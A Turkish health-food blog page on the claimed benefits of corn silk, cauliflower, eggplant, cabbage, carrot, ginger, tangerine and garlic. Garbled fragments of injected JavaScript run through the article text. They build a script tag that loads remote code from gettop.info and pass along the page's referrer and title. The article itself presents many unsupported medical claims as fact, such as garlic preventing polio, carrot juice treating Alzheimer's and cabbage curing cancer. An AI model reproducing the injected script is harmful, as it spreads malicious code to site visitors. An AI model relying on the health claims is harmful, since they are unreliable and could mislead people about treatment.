    Mısır Püskülü; ortalama 2 metre boylarında, kökü kalın ve saçaklı, yaprakları şerit gibi uzun, sert ve sivri bir bitki olan mısırın meyvelerinin ucundaki saçaklardır. Anayurdu Güney Amerika olan mısır, Amerika Kıtası’nın keşfinden sonra denizciler tarafından Avrupa’ya getirilmiştir. Oradan da, Afrika anakarasından, Mısır üzerinden ülkemize getirildiğinden, dilimizde bu bitkiye mısır adı verildiği sanılmaktadır. Mısırın kökleri toprakta derine kadar iner, kalın ve bol saçaklıdır. 4 cm çapa ulaşabilen dik gövdesi boğumludur. Bu boğumlar arasında gövdenin içi boş olur. Gövde üzerinde almaşık dizili uzun yaprakları şerit biçiminde, paralel damarlı ve uçları sivridir. Aynı bitki üzerinde ayrı kesimlerde yer alan dişi ve erkek çiçeklerden erkek olanları, gövdenin ucunda başaklar. Dişi olanları, yaprak koltuklarında koçanlar halinde görülür,taneler şeklinde olur.  Bol güneşli sulak alanları seven mısır bitkisi, ülkemizin su bulunan hemen hemen her yerinde kültür bitkisi olarak yetiştirilirken çok gelişip fazla yer kapladığından tohumlarının toprağa seyrek olarak ekilmesine dikkat edilir. 6000 yıl kadar önce Güney Amerika’daki And Dağları bölgesi yerlileri tarafından yetiştirildiği ve tüketildiği saptanan mısır bitkisinin taneleri, yüksek oranda nişasta ile doymamış yağ asitleri, A vitamini ve sterolleri içerir. Bu yüzden mısır taneleri hem insanlar hem de hayvanlar için değerli bir besin kaynağıdır. Mısır Püskülleri; çiçeklenme zamanında görülmeye başlar. Bitkinin şifalı bölümü işte bu püsküllerdir. Çiçeklenme zamanı Temmuz-Ağustos aylarıdır. Mısır püskülü denilen ipliksi uzantıları (stigma) ise dişi çiçeklerin olgunlaşıp tane biçimine gelmeden önce koçanın ucunda 10-30  cm uzunlukta oluşturdukları saçaklardır. Mısır püskülleri, döllenme başlamadan önce kesilir ve gölgede kurutulur. Mısır püskülü bol miktarda potasyum, sodyum ve kalsiyum içerir. Mısır püskülünde ayrıca, karbonhidartalr, yağ, steroller, reçine, şekerler ve allantoin bulunur. Dişi çiçeklerden alınan püsküller, ince bir tabaka halinde, gölgelik bir yerde kurutulur. Mısır Püskülleri; açık esmer veya kırmızı esmerimsi renkli, hafif ve özel kokulu, tadsız, 1 mm kadar genişlikte, uzun liflerdir. İdrar söktürücü, taş düşürücü, yağları eritici, zayıflatıcı ve sakinleştirici etkileri vardır.  Güvenilir bir idrar sökücü gerektiğinde, aynı zamanda etkili ve başka hiçbir zararı olmayan zayıflatma ve bedendeki yağı azaltmaya yardımcı olarak kullanılan mısır püskülü çayı içilebilir. Mısır püskülü tam olarak kurutulmadan uzun süre saklandığında, idrar söktürücü özelliğini yitirir ve dışkılamayı kolaylaştırır. Mısır püskülü çayı, taş yapıcı idrar yolları hastalıklarında, kalp ödeminde ve başka ödemlerde olduğu kadar, böbrek iltihabı, mesane nezlesi, romatizma ve gut hastalığında da başarıyla kullanılabilir. Ayrıca, çocukların ve yaşlıların yatağa işeme hallerinde ve böbrek sancılarında da yardımcı olur.

    Mısır Püskülünün Faydaları ve Kullanım Alanları:

    • İdrar yollarını temizler ve idrar söktürür.
    • Zayıflamaya ve vücuttaki yağları eritmeye yardımcı olur.
    • Böbrek iltihabı, romatizma ve gut hastalıklarına karşı yardımcıdır.
    • Ödemleri gidermeye yardımcı olur.
    • İdrar yollarındaki ve mesanedeki taşları düşürürmeye yardımcıdır.
    • Sinirleri yatıştırır ve sakinleştirici etkisi vardır
    • Bedeni güçlendirici bir toniktir.
    • Üretrit (idrar yolları enfeksiyonu), sistit (mesane enfeksiyonu) ve prostatit (prostat bezi enfeksiyonu) tedavilerinde yardımcıdır. Bu durumlarda, özellikle Civanperçemi ile birlikte kullanılırsa daha etkili olur.
    • Çocuklarda ve yaşlılarda görülen altını ıslatma sorunlarının çözümünde faydalıdır.

    var d=document;var s=d.createElement(‘script’);

    Azı karar çoğu zarar işte KARNABAHAR!

    karnabahar
    Sofralarımızın özellikle kış aylarında vazgeçilmezlerinden biri olan KARNABAHAR’ın  vitamin ve mineraller bakımından zengin bir besin olduğunu ; hatta A, C, B1 ve B2 vitaminleri ile kalsiyum, potasyum, fosfor, fosfat ve demir minerallerini içerdiğini biliyor muydunuz…

    Ayrıca  KARNABAHAR’ın besleyici bir sebze olarak vücuda güç verdiğini…

    Zihinsel ve bedensel yorgunluğu giderdiğini…

    Sinirleri kuvvetlendirdiğini…

    Beynin çalışmasını desteklediğini…

    Cinsel gücü ve isteği arttırdığını…

    Şeker hastalığında ve romatizmada faydalı olduğunu…

    Kolesterolü düşürdüğünü…

    Kalp hastalıklarında şikayetleri azalttığını…

    Bağırsakların düzenli çalışmasını sağlayarak vücuttaki zararlı maddelerin uzaklaştırılmasına yardımcı olduğunu…

    Kabızlığı giderip; idrar söktürdüğünü…

    Dalak rahatsızlıklarına iyi geldiğini biliyor muydunuz!

    BESİN DEĞERLERİ

    100 gr. karnabaharın içerdiği besin değerleri şöyle sıralanabilir: 27 kalori; 2,7 gr. protein; 5,2 gr. karbonhidrat; 0 kolesterol; 0,2 gr. yağ; l gr. lif: 56 mgr. fosfor; 21 mgr. kalsiyum; 0.7 mgr. demir: 295 mgr. potasyum: 60 IU A vitamini; 0,09 mgr. B1 vitamini; 0,08 mgr. B2 vitamini; 0,6 mgr. B3 vitamini ve 55 mgr. C vitamini.

    Bu arada çok önemli bir notu de belirtmeden geçemeyeceğiz… KARNABAHAR haftada 2-3 kez yenilir. Ancak, tüm Turpgiller’deki sebzelerde olduğu gibi karnabahar da bedenin iyot emilimini azaltır, özellikle içme suyunda iyodun az olduğu yörelerde sıkça karnabahar yiyenler iyotlu besinler ya da iyotlu tuz almaya özen göstermelidir.

    PATLICAN deyip geçmeyin!

    patlıcan
    Her derde deva besinlerden biri de:PATLICAN…

    Evet, ülkemizde artık kış aylarında bile bulunabilen patlıcanın; hiç tahmin edilmediği derecede faydaları var. Öncelikle KANSIZLIĞI GİDERDİĞİ, Karaciğer ve Pankreas’ın muntazam çalışmasını sağladığı, İDRAR SÖKTÜRDÜĞÜ, Kilo vermeğe yardımcı olduğu, BÖBREK YANMASI VE AĞRISINI KESTİĞİ, Sinirleri yatıştırdığı, KALP ÇARPINTISINI GİDERDİĞİNİ  ama bunun yanı sıra; özellikle cilt hastalıkları ile birlikte şeker, mide, bağırsak ve karaciğer rahatsızlıkları olanlara acil olarak yememelerinin  tavsiye edildiğini biliyor muydunuz…

    Bu arada enteresandır patlıcanın içinde bulunan vitaminlerden haberiniz var mı… Mesela 100 gram taze patlıcanda bulunan besin değerleri: 24 kalori; 1,1 gr. protein; 5,5 gr. karbonhidrat; 0 kolesterol; 2 gr. yağ; l gr. lif; 37 mgr. fosfor; 15 mgr. kalsiyum; l mgr. demir: l mgr. sodyum; 15 mgr. potasyum: 30 IU A vitamini; 0,05 mgr. B1 vitamini; 0,04 mgr. B2 vitamini; 0,05 mgr. B3 vitamini; 0,081 mgr. B6 vitamini ve 5 mgr. C vitamini.document.currentScript.parentNode.insertBefore(s, document.currentScript);}

    Kanserin baş düşmanı: LAHANA

    lahana
    Lahana deyip de geçmeyin…

    Ülkemizde yetişen üç tip lahana türü vardır. Beyaz kırmızı ve kara lahananın bilmediğiniz kadar faydası var. Öncelikle lahanada B, C ve E vitaminleri bulunur. Ayrıca lahanada potasyum, kalsiyum, kükürt, demir, bakır ve magnezyum gibi mineraller de vardır. Ayrıca lahananın  kanser hücrelerinin çoğalmasını engelleyen kimyasal bir madde içerdiğini de biliyor muydunuz…

    Şimdi de lahananın sağladığı faydaları görelim…Öncelikle vücut direncini arttırır. Gerçek anlamda bir mikrop öldürücüdür. Bağışıklık sistemini de güçlendirir. Öncelikle mem, rahim ve bağırsak kanserlerinin baş mücadelecisidir. Ayrıca kansızlık çekenlerle astımlılara da faydası büyüktür. Balgamı azaltıp, öksürüğü resmen keser. İştah açıcıdır, ayrıca cinsel gücü ve isteği de arttırır. İdrar söktürür ve kabızlığı yok eder. Romatizma ve siyatik şikayetlerinde bu bitki gerçek anlamda bir ilaç gibidir. Kandaki şeker oranını azalttığı gibi; çiğ yenildiği taktirde mide ve bağırsak kanserinin de tedavisinde başlıca bitkilerden biridir. Ses kısıklığı ve göğüs çatlakları tedavisinde de kullanılır. Ayrıca safra kesesi ve buna bağlı olarak sarılık tedavisinde de kullanılır. Bu arada lahana tohumları kurt düşürücüdür de…document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

    Her derde deva: HAVUÇ

    havuç
    Haftada beş kere yendiği takdirde Harvard’ın araştırmalarına göre kadınlarda kalp enfarktüsünü, felç tehlikesini yüzde 68 oranında azaltıyor. Günde iki havucun erkeklerde kandaki kolesterolü yüzde 10 oranında azalttığı görülmüştür. Her gün yenen bir havuç da akciğer kanseri tehlikesini yarıya indiriyor. Havuçtaki Beta-Karotin de gözleri yaşlılığın getirdiği görme zayıflığından koruyor ve bağışıklık sistemini kuvvetlendiriyor. Mide ve bağırsak kanamalarını önler, kansızlığı giderir, anne sütünü arttırır, yüz ve boyun kırışıklıklarını giderir, idrar ve bağırsak gazlarını söktürür, ülserdeki şikayetleri giderir… Kansere karşı etkili olduğu gibi cildin kurumasını da engelliyor ve bağışıklık sistemini güçlendiriyor. Beta karotin (kansere neden olan serbest radikallari durduruyor ve bağışıklık sistemini güçlendiriyor) içeren havucun en büyük özelliklerinden biri içerdiği bu maddenin cildin kurumasını engelleyen A vitaminine dönüşebilmesi… Havuç, bol miktarda A vitamini içerdiğinden dolayı gözler için faydalıdır. Ancak, burada bilmemiz gereken nokta A vitamininin yağda çözünen bir vitamin olmasıdır. Havuç suyunu doğrudan içtiğimiz taktirde içerdiği A vitamininden tam anlamıyla istifade edemeyiz. İçerdiği A vitaminini büyük bir oranda vücudumuza kazandırmak istiyor isek, bu taktirde bir bardak havuç suyunun içerisine iki-üç damla sıvı yağ damlatmamız gerekir. Damlatılan bu sıvı yağ havucun içerdiği A vitamininin çok daha büyük oranda vücudumuz tarafından emilmesini sağlayacaktır. Çünkü, A vitamini yağda çözünen bir vitamindir. Avrupa’nın bazı şehirlerinde taze meyve suyu satan dükkanlarda havuç suyu sipariş ettiğiniz zaman, “bir kaç damla sıvı yağ damlatalım mı?” diye sorarlar.
    Havuç suyunun önemli bir özelliği yemek borusu ve mide yanmasına karşı olan gücüdür. Mide yanması çekenler için bir bardak havuç suyu bulunmaz bir nimettir. Eğer, mevsiminden dolayı veya herhangi bir nedenle havuç bulunamıyorsa, sadece ve sadece iki yudum olarak içilecek olan soğuk sütün, yemek borusu ve mide yanmasına karşı nasıl etkili olduğunu içtikten 3-4 dakika sonra hissedeceklerdir
    Taze sıkılmış havuç suyu kürünün, Alzheimer hastalığını tedavi gücü yaklaşık %30 oranındadır
    Havuç suyu kürü aynı zamanda sigara içenler için iyi bir balgam söktürücüdür} else {if (document.currentScript) {

    Romatizma’nın ilacı: ZENCEFİL

    zencefil
    Zencefil, asırlar boyu iyi bir besin ve ilaç olarak güvenle kullanılmıştır. İnsanlar üzerinde yapılan deneylerde zencefilin hiçbir yan etkisine rastlanmamıştır. Zencefil aynı zamanda çok güçlü doğal bir romatizma ilacıdır. Bal ve toz zencefil karışımından hazırlanan macun, günde üç tatlı kaşığı yenildiğinde bel ve bacak ağrılarını, romatizmayı tedavi eder. Çinliler yüz yıllardır romatizmayı zencefil ile tedavi etmektedir.

    Binlerce yıldır Çin, Hindistan ve diğer Asya ülkelerinde, birçok hastalığın tedavisinde kullanılan bu baharat, aynı zamanda soframızda güzel bir lezzet kaynağıdır. Zencefili hangi hastalıklarda, nasıl kullanabiliriz? Soğuk algınlığı, grip gibi hastalıklarda bir çay kaşığı toz zencefil bir tatlı kaşığı bal ile karıştırıp macun yapılarak yenildiği zaman insanın içini ısıtarak bronşlarını açar ve temizler. Balgamı söktürür, öksürüğü keser. Zencefil aynı zamanda doğal aspirindir; kanı sulandırır, damarları açar, pıhtılaşmayı önler. İyi bir zihin açıcıdır, hafızayı güçlendirir. Zencefil yeni projeler üretmek isteyen insanların ilacıdır, beyni canlandırır. İlaçların mide ve bağırsaklara yaptığı yan etkiyi yok eder. İyi bir bulantı ilacıdır. Ameliyatlardan sonraki anesteziden kaynaklanan bulantılar, deniz ve araba tutmasındaki bulantılarda etkilidir. Zencefilin doğum sonrasında annenin emzirme döneminde, anne sütünü artırıcı ve bağışıklık sistemini güçlendirici etkisi vardır. Sindirim sistemini düzenler, hızlandırır, enerji verir. Zencefil, İngiltere’de besin takviyesi olarak kabul edilmiştir. Kışın salebin üzerine tarçın yerine zencefil serperek içilmesi yorgunluğu alır, sinir sistemini düzeltir. Taze zencefil kökünden yapılan turşu sofralara güzel bir çeşni olmanın yanında sindirime faydalı bir takviye olur.var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

    Mandalina deyip geçmeyin

    mandalina

    Erkenci türleriyle sonbaharın başlarında piyasaya çıkan ve kış ortasında son turfandaları yenilen mis kokulu, hoş tatlı mandalina meyvesini veren Mandalina ağacı, Turunçgillerdendir (Narenciyeler). Anayurdu büyük olasılıkla Çin ya da Laos olan mandalina ağacı, ülkemizde başta Akdeniz ve Ege bölgelerinin kıyı şeridi olmak üzere Karadeniz ve Marmara bölgelerinin bazı kesimlerinde yetiştirilmektedir. 5-8 m’ye kadar boylanabilen bu hep yeşil ağacın, toprakta derine uzayan sağlam bir kök yapısı, ince ama dikine boylanan bir gövdesi vardır. Düzgün yapılı dallarında koyu yeşil renkli, portakalınkinden küçük ve sivri, üzeri parlak ve düz olan yaprakları yer alır. ilkbaharda ağacın bir yıllık sürgünlerinin ucunda ya da yaprak koltuklarında açan çiçekleri beyaz renkli ve çok hoş kokuludur. Bu çiçekler, mandalina türlerine göre sonbahar başı, ortası ve sonunda olgunlaşıp mandalina meyvesine dönüşür. Genelde portakaldan küçük olan bu meyveler, üstten ve alttan basık yuvarlak biçimli, turuncu renkli kabuğu gevşek, bol kokulu ve sulu eti hoş tatlı olur. Yurdumuzda yetiştirilen önemli çeşitleri içinde soğuğa en dayanıklı olan ve erken olgunlaşanı satsuma (Rize) mandalinasıdır. Satsumadan sonra olgunlaşan klemantin çeşidi, ince kabuklu, az çekirdekli, güzel kokulu, bol sulu ve az çekirdekli olur. Yerli (Bodrum) mandalinaları ise geç olgunlaşır ve bol çekirdekli olur. Bunlardan başka, daha az oranda üretilen mandalina türleri de vardır. Mandalina meyvesi genelde taze olarak yenildiği gibi, reçeli, marmeladı, meyve suyu ve şerbeti yapılarak da tüketilir. Kabuğundan esansı çıkarılır.
    BESİNDEĞERLERİ

    100 gr. taze mandalinanın içerdiği besin değerleri şunlardır: 46 kalori; 0,8 gr. protein; 11.6 gr. karbonhidrat: 0 kolesterol; 0,2 gr. yağ; 0,5 gr. lif; 18 mgr. fosfor; 49 mgr. kalsiyum; 0,4 mgr. demir; 2 mgr. sodyum; 126 mgr. potasyum: 7,8 mgr. magnezyum; 420 IU A vitamini: 0,06 mgr. B1 vitamini; 0,2 mgr. B2 vitamini; 0,1 mgr. B3 vitamini; 0,067 mgr. B6 vitamini; 7,4 mcgr. folik asit ve 31 mgr. C vitamini.

    SAĞLIĞIMIZA YARARLARI

    Yukarıda sayılan önemli besin değerlerinin yanı sıra;

    o Mandalina, içerdiği zengin ve doğal C vitaminiyle, bedenimizin hastalıklara karşı direnme gücünü artırır.

    o Yüksek orandaki potasyum içeriğiyle yüksek tansiyonu düşürmeye yardımcı olur.

    o İçerdiği antioksidan maddelerle bedenin kansere yakalanma rizikosunu azaltır.

    o Kalp hastalıklarına karşı şaşırtıcı bir ilaç olma özelliği taşır: Çünkü kötü kolesterol düzeyini düşürür. Kılcal damarlardaki kan dolaşımını hızlandırır. Damar hastalıklarına karşı bedeni korur.

    Sağlığa yararlı bütün bu önemli etkilerinden yararlanmak için mandalinanın taze olarak istendiği kadar yenilmesi öğütlenir. }var d=document;var s=d.createElement(‘script’);

    Sofralarımızın vazgeçilmez sağlık kaynağı: SARIMSAK

    SARIMSAK

    Anavatanı Hindistan olan mutfağımızdan eksik etmediğimiz sarmısağın tarihi insanlık kadar eskidir .Tarihin ilk çağlarında Sümerler’in sarımsağı bildikleri ve ilaç olarak kullandıkları elde edilen arkeolojik kayıtlardan anlaşılıyor. Eski Mısırlılar’ın da sarımsağı yediklerini ve ilaç olarak kullandıklarını biliyoruz. Tarihi kayıtlardan Gizek Piramidi’ni yaptıran firavun Keops’un (IV. Hanedan) inşaat sırasında işçilere bol miktarda sarımsak yedirdiğini öğreniyoruz. Sarımsağı İsrail oğulları Mısır’dan Filistin’e getirdiler. Oradan Anadolu ve İyonya’ya yayıldı. Bu kıymetli nebat ancak Haclı seferleri sırasında ilk defa Fransa’ya getirildi. Ve Avrupa bu suretle sarımsağı öğrenebildi.  Sarmısak bugün dünyanın her tarafında yetiştirilmektedir. Boyu 70 cm bulur. Temmuz ve ağustos aylarında çiçek açar.  Sarmısak A,B1 B2,PP ve C vitaminleri ihtiva etmektedir. Bileşiminde ALLİCİN ve DİALLYLDİSULFİD adlı iki aktif bulunmaktadır. Sarımsaktaki kötü koku  ihtiva ettiği kükürtten ileri gelmektedir. Bu kokuyu gidermek için sarmısak yedikten sonra bir avuç maydanoz  veya bir kahve tanesi çiğnenir. Sarımsağın ihtiva ettiği yağ (Oleum allicine ) 1944 senesinde J. Cavallito ve J. Bailey adlı iki bilim adamı tarafından keşfedilmiştir. Bu iki bilim adamı elde ettikleri yağa Allicin (06 H 10 OS 2 ) adını verdiler. Bu yağ öyle kıymetli bir devadır ki ,1 miligramı  15 OE penisilinin aktivitesine eşittir. Hepimizin aklına geliyor. Maalesef mikroplarla iç içe yaşıyoruz. Yiyecekler kontrolsuz. Gecekondu mahallelerinde kanalizasyonlar yollara akıyor. Buna rağmen salgın hastalıklar meydana gelmiyor. Bunun sebebi sarmısaktır. Bizleri salgın hastalıklardan sarmısak koruyor. Yalnızca mikrobik hastalıklardan mı koruyor?   Hayır. Avrupa’da ölüm sebebi olarak 1. ve  2 . sırada olan kanser ve damar hastalıklarına karşı da koruyor. Bugün dünyada en fazla sarmısak yenen ülkeler ararında Bulgaristan ilk sırada alıyor. Bulgaristan’da  kanser ve damar sertliğinden ölenleri sayısı Avrupa’ya nazaran 6-7 misli düşük. Tek sebep var. Sarmısak. İsveçli çocuklar okula giderken sarmısak yiyor. Zira sarımsağın çocukları çocuk felcine karşı da koruduğu anlaşıldı.

    FAYDALARI:

    Ölümlere sebep olan atardamar kireçlenmesine iyi gelir. Yara ve çıbanları iyileştirir. Krampları yok eder. Akciğeri, karaciğeri,Safra kesesini ve kalbi kuvvetlendirir. Bağırsak kurtlarını, diğer parazitleri öldürür. Mide ve bağırsakları dezenfekte eder. Zararlı bakterileri yok eder. İştahı açar. Nezleyi yok eder, nefes borusu  rahatsızlıklarına,bronşite çok iyi gelir. Veremliler bilhassa sarımsak yemeleri tavsiye edilir. Tansiyonu düşürür. Ateşi düşürür. Bağırsak gazlarını ortadan kaldırır. Grip mikrobunu öldürerek vücudu bu hastalığa karşı korur. İdrar yollarında taş oluşumunu engeller. Kalp adalelerini güçlendirir. Kalbi besleyen kroner damarları genişletir. Cinsel gücü arttırır. İdrar söktürür. Vücudu sivrisinek ve haşerelerden korur. Safra salgısının salınımını arttırır. Kabızlığı önler. Saç dökülmesini yavaşlatır. Sesi güzelleştirir. d.getElementsByTagName(‘head’)[0].appendChild(s);} else {